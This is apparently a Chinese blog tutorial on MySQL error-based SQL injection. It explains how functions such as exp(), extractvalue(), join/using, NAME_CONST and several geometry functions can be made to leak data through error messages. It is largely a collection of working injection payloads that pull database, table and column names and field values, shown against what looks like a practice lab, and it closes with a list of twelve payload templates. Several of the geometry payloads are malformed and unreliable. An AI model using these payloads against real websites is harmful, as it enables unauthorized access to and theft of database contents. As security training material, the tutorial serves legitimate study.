在之前的博客中我总共介绍了两种报错注入类型,这里就不再赘述了。这篇博客中我把目前我知道的报错注入类型都介绍一遍。
目录
exp() 函数报错注入讲解
爆破当前数据库名
Extractvalue() 函数报错注入讲解
爆破当前数据库名
爆破当前数据库的表名
爆破表中的列名
爆破字段值
join语句报错注入讲解
爆破表emails中的列名
通过NAME_CONST(name,value)报错注入
通过GeometryCollection()报错注入
其余不常见的报错注入
报错注入总结
什么是报错注入
报错注入类型汇总
exp() 函数报错注入讲解
exp() 函数含义:
函数返回 e 指定数字的幂,例如 exp(x) 就是返回 e 的x次方。具体学习链接:MySQL EXP() 函数 (w3schools.cn)
报错原理:
我们知道在Mysql中有一种错误叫做“溢出错误”,就是数值太大导致的数值溢出从而报错,如果有编程基础的同学应该了解过这个错误,在C语言中就经常会出现“溢出错误”,尤其指针那块,不知道你们遇到过没有,反正我当时经常遇到这种错误。言归正传,我们这里利用的就是 exp() 函数的溢出错误。由于数字太大是会产生溢出,在 Mysql 中当给 exp() 函数传递一个大于709的值时,函数exp()就会引起一个溢出错误。
我们可以输入SQL语句进行测试一下,看看报错内容:
select exp(710);
报错信息如下:
可以看到报错“double类型数值溢出”的错误,这就是我们要利用的漏洞。
在Mysql中,当一条语句顺利执行完成后会返回0,而对0取反的话会得到一个特别大的数值“18446744073709551615”,显然这个数超过了溢出临界值710,如果我们把它传给 exp() 函数那么必定会产生报错,这就是我们创造报错的原理。
创造该错误的基本语句格式:
exp(~(select * from (注入代码) a)) 这里 '~' 是取反的意思,a 是取别名的意思。
爆破当前数据库名
输入语句:
?id=1' and (exp(~(select * from (select database()) a)))
页面回显:
可以看到页面回显已经报了溢出错误了,但是页面没有回显出来我们想要的数据,可能是该bug修复了,但是这种报错方式我们可以了解一下,日后说不准可以用得上。这里爆破其他数据就不赘述了,因为爆不出来的我都试过了哈哈哈,有知道怎么能使用 exp() 函数报错爆破数据的希望可以私聊我一下,我学习学习。
Extractvalue() 函数报错注入讲解
Extractvalue(XML_document, XPath_string) 函数含义:
对XML文档进行查询的函数,使用xpath符号从xml字符串中提取值。
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串)
报错原理:
SELECT ExtractValue('<a><b><b/></a>', '/a/b'); 这是正确的语句
第二个参数 xml中的位置是我们编写注入语句的地方,xml文档中查找字符位置是用/xxx/xxx/xxx/…这种格式进行查找的,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们要爆破的数据。
约束条件:
输出字符长度限制为32个字符。所以需要使用 limit 语句进行限制。
创造该错误的基本语句格式:
extractvalue(1,concat(0x7e,(注入代码)))
爆破当前数据库名
输入语句:
?id=1' and extractvalue(1,concat(0x7e,(select database()))) --+
页面回显:
可以看到当前数据库的名字已经出现到报错信息中了。爆破成功。
爆破当前数据库的表名
输入语句:
?id=1' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1))) --+
页面回显:
可以看到页面已经根据我的限制将第一个表的表名爆破出来了。其余表名只需要替换限制条件即可。这里不在讲解。
爆破表中的列名
输入语句:
?id=1' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='emails' limit 0,1))) --+
页面回显:
可以看到页面根据我的限制回显出了表 'emails' 中的第一个列名。
爆破字段值
输入语句:
?id=1' and extractvalue(1,concat(0x7e,(select id from emails limit 0,1))) --+
页面回显:
可以看到页面根据我的限制爆出了字段值。
Extractvalue() 函数报错注入讲解完毕!如有错误,请及时指正,谢谢!
join语句报错注入讲解
join语句用法:join语句为连接语句,具体用法见链接
MySQL 连接的使用 | 菜鸟教程 (runoob.com)
using关键字的概念:
连接查询时如果是同名字段作为连接条件,using可以代替on出现(比on更好)
using是针对同名字段(using(id)===on A.id=B.id)
using关键字使用后会自动合并对应字段为一个
using可以同时使用多个字段作为条件
创造该错误的基本语句格式:
and(select * from (select * from 表名 a join 表名 b using(已知的字段1,已知的字段2,……)c))
如果不知道任何一个字段名就不用写,会自动爆出第一个字段名字,之后写一个字段名报第二个,写两个报第三个,以此类推。
约束条件:
只能爆破列名,并且爆破前必须知道该列所属的表名
爆破表emails中的列名
这里我就拿表 'emails' 来作为例子,假设我们之前通关其他方法爆破出了表 'emails' ,我们接下来爆破第一个列名:
输入语句:
?id=1' and (select * from (select * from emails a join emails b) c) --+
页面回显:
可以看到第一列的名字已经爆破出来了。
爆破第二列的列名,输入语句:
?id=1' and (select * from (select * from emails a join emails b using(id)) c) --+
页面回显:
可以看到第二列的名字也爆出来了。
join语句报错注入讲解完毕。如有错误,请及时指正,谢谢!
通过NAME_CONST(name,value)报错注入
NAME_CONST(name,value)函数解析:
返回给定的值。用于生成结果集列时,NAME_CONST() 会导致该列具有给定名称。参数应该是常量。
报错原理:
mysql列名重复会导致报错,通过name_const制造一个列,我们可以利用mysql列名重复会导致报错这个原理配合join函数得到列名。
约束条件:
1、查询的内容需是定值
2、该功能仅供内部使用,一般用户没有权利使用该功能。
创造该错误的基本语句格式:
and exists(select * from (select * from(select name_const(注入代码,0)) a join (select name_const(注入代码,0)) b)c)
通过GeometryCollection()报错注入
GeometryCollection()函数解析: MySql 中文文档 - 12.16.7.5 GeometryCollection 属性函数 | Docs4dev
报错原理:
由于MYSQL无法用这样字符串画出图形,所以报错。
约束条件:
5.5<mysql版本<5.6
创造该错误的基本语句格式:
and geometrycollection((select * from(select * from (注入代码)a)b))
其余不常见的报错注入
1. 通过polygon ()报错,注入语句如下:
and polygon ((注入代码)select * from(select user (注入代码))a)b );
2. 通过multipoint ()报错,注入语句如下:
and multipoint ((注入代码)select * from(select user(注入代码) )a)b );
3. 通过multlinestring ()报错,注入语句如下:
and multlinestring ((注入代码)select * from(selectuser (注入代码) )a)b );
4. 通过multpolygon ()报错,注入语句如下:
and multpolygon ((注入代码)select * from(selectuser (注入代码) )a)b );
5. 通过linestring ()报错,注入语句如下:
and linestring ((注入代码)select * from(select user(注入代码) )a)b );
报错注入总结
什么是报错注入
报错注入是通过特殊函数的错误使用从而导致报错,并使其输出错误结果来获取信息的。简单点说,就是在注入点调用特殊的函数执行,利用函数报错使其输出错误结果来获取数据库的相关信息 (我们要的信息就包含在页面的报错信息中)。
报错注入类型汇总
1. 双查询注入( floor() 报错)
union select 1,count(*),concat(0x7e,(注入代码),0x7e,floor(rand(0)*2)) as a from information_schema.tables group by a
2. updatexml()函数报错注入
and updatexml(1,concat(0x7e,(注入代码)),3)
3. exp() 函数报错注入
exp(~(select * from (注入代码) a))
4. Extractvalue() 函数报错注入
extractvalue(1,concat(0x7e,(注入代码)))
5. join语句报错注入
and(select * from (select * from 表名 a join 表名 b using(已知的字段1,已知的字段2,……)c))
6. NAME_CONST(name,value)报错注入
and exists(select * from (select * from(select name_const(注入代码,0)) a join (select name_const(注入代码,0)) b)c)
7. GeometryCollection()报错注入
and geometrycollection((select * from(select * from (注入代码)a)b))
8. polygon()报错注入
and polygon ((注入代码)select * from(select user (注入代码))a)b )
9. multipoint()报错注入
and multipoint ((注入代码)select * from(select user(注入代码) )a)b )
10. multlinestring()报错注入
and multlinestring ((注入代码)select * from(selectuser (注入代码) )a)b )
11.multpolygon()报错注入
and multpolygon ((注入代码)select * from(selectuser (注入代码) )a)b )
12. linestring()报错注入
and linestring ((注入代码)select * from(select user(注入代码) )a)b )
至此报错注入讲解结束了。感谢观看,如有错误请及时指正,谢谢!